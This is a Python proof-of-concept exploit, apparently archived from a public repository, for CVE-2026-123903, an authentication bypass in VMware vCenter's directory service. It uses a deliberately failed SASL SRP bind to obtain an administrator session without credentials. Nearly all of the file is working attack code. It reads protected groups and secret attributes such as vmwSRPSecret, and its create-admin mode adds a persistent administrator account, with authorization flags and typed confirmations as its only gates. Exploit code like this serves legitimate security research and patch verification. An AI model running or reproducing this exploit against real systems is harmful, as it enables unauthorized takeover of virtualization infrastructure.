#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/dinosn/CVE-2026-123903 (no license file)
# -*- coding: utf-8 -*-
"""
vc123903_poc.py - CVE-2026-123903: vmdir authentication bypass through a FAILED
LDAP SASL bind (VMware Directory Service; vCenter 8.0 U3k and earlier, fixed in
8.0 U3m / 9.1.2 / 9.0.2 express patch).

Mechanism
---------
`_VmDirSASLBind`'s error path: when a SASL step fails with LDAP_INVALID_CREDENTIALS
and the session carries a client-chosen user name, vmdir resolves that UPN to an
entry and calls `_VmDirBindSetupAccessInfo()` **on the connection** (planting the
entry's token / SID / normalized DN), then tears down the SASL session without
clearing the planted AccessInfo. The simple-bind failure path does clear it.

Consequence: one failed SASL bind that claims an administrator UPN (invalid proof,
no password) turns the connection into that administrator's session, so the next
plaintext LDAP operations are authorised as that admin.

Modes
-----
  prove         read-only. Baseline connection vs planted connection is compared on
                signals an unprivileged session cannot fake: visibility of a
                protected object (base read of cn=Administrators) and readability of
                sensitive attributes on the administrator entry (vmwSRPSecret,
                nTSecurityDescriptor). Verdicts:
                  VULNERABLE_ADMIN_SESSION / NOT_ADMIN (no effect) / STATE_CHANGED_NOT_ADMIN
  create-admin  write (gated): failed bind, then ADD an account and MODIFY
                cn=Administrators to add it. Requires --prove-write, a terminal and
                two typed "yes"; password from a mode-0600 file or generated to one.

AUTHORIZED TARGETS ONLY. --host is mandatory; --i-have-authorization asserts scope.
Declined / non-interactive runs are successful read-only runs (exit 0, SKIP_ line).
"""
import argparse
import hashlib
import os
import secrets
import stat
import sys

sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
import srp_cyrus as S                          # noqa: E402
from ldap_raw import LdapRaw, filter_present    # noqa: E402

OPTS = b"mda=SHA-1,replay_detection,integrity=HMAC-SHA-1,confidentiality=AES"
SENSITIVE = ("vmwSRPSecret", "nTSecurityDescriptor", "userPassword")


def log(msg):
    sys.stdout.write("[*] %s\n" % msg)
    sys.stdout.flush()


def skip(reason):
    log("SKIP_%s" % reason)
    return 0


def rcname(L, rc):
    return "%s (%s)" % (rc, L.RESULT.get(rc, "?"))


def connect(a):
    return LdapRaw(a.host, a.port, timeout=a.timeout, tls=a.tls)


def detect_domain(a):
    L = connect(a)
    try:
        ents, rc = L.search_sub("", filter_present("objectClass"), scope=0,
                                attrs=("namingContexts",))
        if rc == 0 and ents:
            nc = ents[0][1].get("namingContexts")
            if nc:
                return nc[0]
    except Exception:
        pass
    finally:
        L.close()
    return a.domain


def snapshot(L, domain):
    """Read-only signals, one entry each: protected-object visibility + sensitive attrs."""
    grp = "cn=Administrators,cn=Builtin," + domain
    adm = "cn=Administrator,cn=Users," + domain
    e1, rc1 = L.search_sub(grp, filter_present("objectClass"), scope=0, attrs=("member",))
    e2, rc2 = L.search_sub(adm, filter_present("objectClass"), scope=0, attrs=SENSITIVE)
    sensitive = [k for k in (e2[0][1].keys() if e2 else ()) if k in SENSITIVE]
    members = (e1[0][1].get("member") or []) if e1 else []
    return {"group_rc": rc1, "group_entries": len(e1),
            "admin_rc": rc2, "sensitive": sorted(sensitive), "members": members}


def plant(L, claim):
    """SASL bind claiming `claim` with an invalid proof. Returns the bind result."""
    rc, diag, creds = L.sasl_bind(b"SRP", S.client_init(claim, claim))
    if rc != 14:
        return rc, "step1 -> %s (%s)" % (rcname(L, rc), diag)
    ch = S.parse_challenge(creds)
    blob, _ = S.client_finish(claim, claim, b"", ch["salt"], ch["B"], ch["N"], ch["g"],
                              ch["L"], m1=b"\x00" * 20, opts=OPTS, civ=os.urandom(16))
    rc2, diag2, _ = L.sasl_bind(b"SRP", blob)
    return rc2, diag2


def prove(a):
    domain = detect_domain(a)
    log("naming context: %s" % domain)
    Lb = connect(a)
    try:
        base = snapshot(Lb, domain)
    finally:
        Lb.close()
    log("baseline (no bind):            %s" % base)

    claims = a.claim or []
    if not claims:
        user, _, realm = a.claimed_upn.partition("@")
        claims = [a.claimed_upn, user] + (["%s@%s" % (user.capitalize(), realm)] if realm else [])
        claims += [c.upper() for c in claims[:1]]
    seen = set()
    for claim in [c for c in claims if not (c in seen or seen.add(c))]:
        L = connect(a)
        try:
            rc, diag = plant(L, claim.encode())
            res = snapshot(L, domain)
        finally:
            L.close()
        escalated = (res["group_entries"] > base["group_entries"]
                     or (bool(res["sensitive"]) and not base["sensitive"]))
        state = "VULNERABLE_ADMIN_SESSION" if escalated else (
            "STATE_CHANGED_NOT_ADMIN" if res != base else "NOT_ADMIN (no effect)")
        log("claim %-32r bind=%-26s planted=%s"
            % (claim, rcname(L, rc), {k: v for k, v in res.items() if k != "members"}))
        if res["members"]:
            ms = res["members"] if a.full else res["members"][:4]
            log("    protected group members (%d): %s%s"
                % (len(res["members"]), "; ".join(ms),
                   "" if a.full or len(res["members"]) <= 4 else " … (--full for all)"))
        log("    => %s" % state)
        if escalated:
            log("[+] CVE-2026-123903: admin session from a failed bind (no credentials)")
            return 0
    log("[-] no escalated session with any claim tried - primitive absent/patched, "
        "or the claimed identity differs on this target")
    return 1


def generate_password(n=20):
    U, Lw, D, Sp = "ABCDEFGHJKLMNPQRSTUVWXYZ", "abcdefghijkmnpqrstuvwxyz", "23456789", "!#$%&*+-=?@"
    pw = [secrets.choice(U), secrets.choice(Lw), secrets.choice(D), secrets.choice(Sp)]
    alph = U + Lw + D + Sp
    pw += [secrets.choice(alph) for _ in range(n - len(pw))]
    secrets.SystemRandom().shuffle(pw)
    return "".join(pw)


def write_secret(path, s):
    fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
    with os.fdopen(fd, "w") as f:
        f.write(s + "\n")


def confirm_write(summary, consequence):
    if not sys.stdin.isatty():
        log("SKIP_WRITE: stdin is not a TTY - no account created (read-only run)")
        return False
    print("\nIMPACT: " + summary)
    if input("Type 'yes' to continue: ").strip().lower() != "yes":
        log("SKIP_WRITE: first confirmation not given")
        return False
    print("\nCONSEQUENCE: " + consequence)
    ok = input("Type 'yes' again to create the account: ").strip().lower() == "yes"
    log("confirmations: ['yes', '%s']" % ("yes" if ok else "no"))
    return ok


def require_cleanup_capability():
    if not (hasattr(LdapRaw, "modify_del") and hasattr(LdapRaw, "delete")):
        raise SystemExit("this mode needs a current ldap_raw.py (modify_del/delete). "
                         "Pull the WHOLE repo (git pull), not just vc123903_poc.py.")


def create_admin(a):
    if not a.prove_write:
        return skip("NO_PROVE_WRITE: account creation needs --prove-write")
    if a.reversible:
        require_cleanup_capability()
    if a.reversible:
        pw = generate_password()
    elif a.password_file:
        if stat.S_IMODE(os.stat(a.password_file).st_mode) & 0o077:
            raise SystemExit("%s must be mode 0600" % a.password_file)
        pw = open(a.password_file).read().strip("\r\n")
    elif a.credential_out:
        pw = generate_password()
    else:
        raise SystemExit("give --password-file or --credential-out (never argv)")
    domain = detect_domain(a)
    ok = confirm_write(
        "create CN=%s %s,cn=Users,%s and add it to cn=Administrators,cn=Builtin,%s on %s "
        "through a session obtained without credentials."
        % (a.first, a.last, domain, domain, a.host),
        "a new login-capable ADMINISTRATOR account persists on %s; remove it afterwards." % a.host)
    if not ok:
        return 0
    dn = "cn=%s %s,cn=Users,%s" % (a.first, a.last, domain)
    realm = domain.split(",")[0].split("=")[1] + "." + ".".join(p.split("=")[1] for p in domain.split(",")[1:])
    upn = "%s@%s" % (a.account, realm)
    claim = a.claimed_upn
    L = connect(a)
    try:
        rc, diag = plant(L, claim.encode())
        log("failed SASL bind (claimed %s) -> %s %r" % (claim, rcname(L, rc), diag))
        rc2, diag2 = L.add(dn, [("objectClass", ["top", "person", "organizationalPerson", "user"]),
                                ("cn", ["%s %s" % (a.first, a.last)]), ("sn", [a.last]),
                                ("sAMAccountName", [a.account]), ("userPrincipalName", [upn]),
                                ("userPassword", [pw])])
        log("ADD %s -> %s %r" % (dn, rcname(L, rc2), diag2))
        rc3 = None
        if rc2 == 0:
            rc3, diag3 = L.modify_add("cn=Administrators,cn=Builtin," + domain, "member", dn)
            log("MODIFY cn=Administrators +member -> %s %r" % (rcname(L, rc3), diag3))
        if rc2 == 0 and rc3 == 0 and a.reversible:
            # verify the planted-admin authority by reading the group, then undo everything
            ents, rcv = L.search_sub("cn=Administrators,cn=Builtin," + domain,
                                     filter_present("objectClass"), scope=0, attrs=("member",))
            seen = bool(ents) and dn in (ents[0][1].get("member") or [])
            log("verify membership -> %s (member visible: %s)" % (rcname(L, rcv), seen))
            rc4, diag4 = L.modify_del("cn=Administrators,cn=Builtin," + domain, "member", dn)
            log("MODIFY -member (cleanup) -> %s %r" % (rcname(L, rc4), diag4))
            rc5, diag5 = L.delete(dn)
            log("DELETE %s (cleanup) -> %s %r" % (dn, rcname(L, rc5), diag5))
            log("[+] reversible impact proof complete: created, verified in Administrators, removed, deleted")
        elif rc2 == 0 and rc3 == 0:
            if a.credential_out:
                write_secret(a.credential_out, pw)
            log("[+] account %s created and added to Administrators (password len=%d sha256=%s%s)"
                % (dn, len(pw), hashlib.sha256(pw.encode()).hexdigest()[:12],
                   ", stored in " + a.credential_out if a.credential_out else ""))
        return 0 if (rc2 == 0 and rc3 == 0) else 2
    finally:
        L.close()


def cleanup(a):
    """Undo an impact-proof account: remove it from cn=Administrators, then delete the entry."""
    if not a.prove_write:
        return skip("NO_PROVE_WRITE: cleanup changes the directory; pass --prove-write")
    require_cleanup_capability()
    domain = detect_domain(a)
    dn = a.dn or "cn=%s %s,cn=Users,%s" % (a.first, a.last, domain)
    grp = "cn=Administrators,cn=Builtin," + domain
    if sys.stdin.isatty():
        print("\nIMPACT: remove %s from %s and delete the entry on %s." % (dn, grp, a.host))
        if input("Type 'yes' to continue: ").strip().lower() != "yes":
            log("SKIP_WRITE: cleanup not confirmed")
            return 0
        log("confirmations: ['yes']")
    L = connect(a)
    try:
        rc, diag = plant(L, a.claimed_upn.encode())
        log("failed SASL bind (claimed %s) -> %s %r" % (a.claimed_upn, rcname(L, rc), diag))
        rc1, diag1 = L.modify_del(grp, "member", dn)
        log("MODIFY -member -> %s %r" % (rcname(L, rc1), diag1))
        rc2, diag2 = L.delete(dn)
        log("DELETE %s -> %s %r" % (dn, rcname(L, rc2), diag2))
        ents, rcv = L.search_sub(grp, filter_present("objectClass"), scope=0, attrs=("member",))
        members = (ents[0][1].get("member") if ents else []) or []
        left = dn in members
        e3, rc3 = L.search_sub(dn, filter_present("objectClass"), scope=0, attrs=("cn",))
        log("verify: still a member=%s, entry readable=%s (%s)" % (left, bool(e3), rcname(L, rc3)))
        ok = (not left) and not e3
        log("[%s] cleanup %s" % ("+" if ok else "-", "complete" if ok else "INCOMPLETE"))
        return 0 if ok else 2
    finally:
        L.close()


def main(argv=None):
    ap = argparse.ArgumentParser(description=__doc__.split("\n")[1])
    ap.add_argument("mode", choices=["prove", "create-admin", "cleanup"])
    ap.add_argument("--host", required=True, help="authorized target (no default)")
    ap.add_argument("--port", type=int, default=389)
    ap.add_argument("--tls", action="store_true", help="LDAPS (636)")
    ap.add_argument("--timeout", type=int, default=10)
    ap.add_argument("--claimed-upn", default="administrator@vsphere.local")
    ap.add_argument("--claim", action="append", default=[], help="extra/replacement claimed identities")
    ap.add_argument("--domain", default="dc=vsphere,dc=local", help="fallback if rootDSE is unreadable")
    ap.add_argument("--account", default="vwadmin")
    ap.add_argument("--first", default="VW")
    ap.add_argument("--last", default="Admin")
    ap.add_argument("--password-file")
    ap.add_argument("--credential-out")
    ap.add_argument("--full", action="store_true", help="print the whole Administrators member list")
    ap.add_argument("--dn", help="cleanup: DN of the account to remove from Administrators and delete")
    ap.add_argument("--reversible", action="store_true",
                    help="create-admin: after verifying membership, remove the member and delete the "
                         "account (no persistence; generated password never stored)")
    ap.add_argument("--prove-write", action="store_true")
    ap.add_argument("--i-have-authorization", action="store_true")
    a = ap.parse_args(argv)
    if not a.i_have_authorization:
        return skip("NO_AUTHORIZATION_ASSERTION: --host %s - rerun with --i-have-authorization" % a.host)
    try:
        return {"prove": prove, "create-admin": create_admin, "cleanup": cleanup}[a.mode](a)
    except Exception as e:
        log("EXC %r" % (e,))
        return 1


if __name__ == "__main__":
    sys.exit(main())
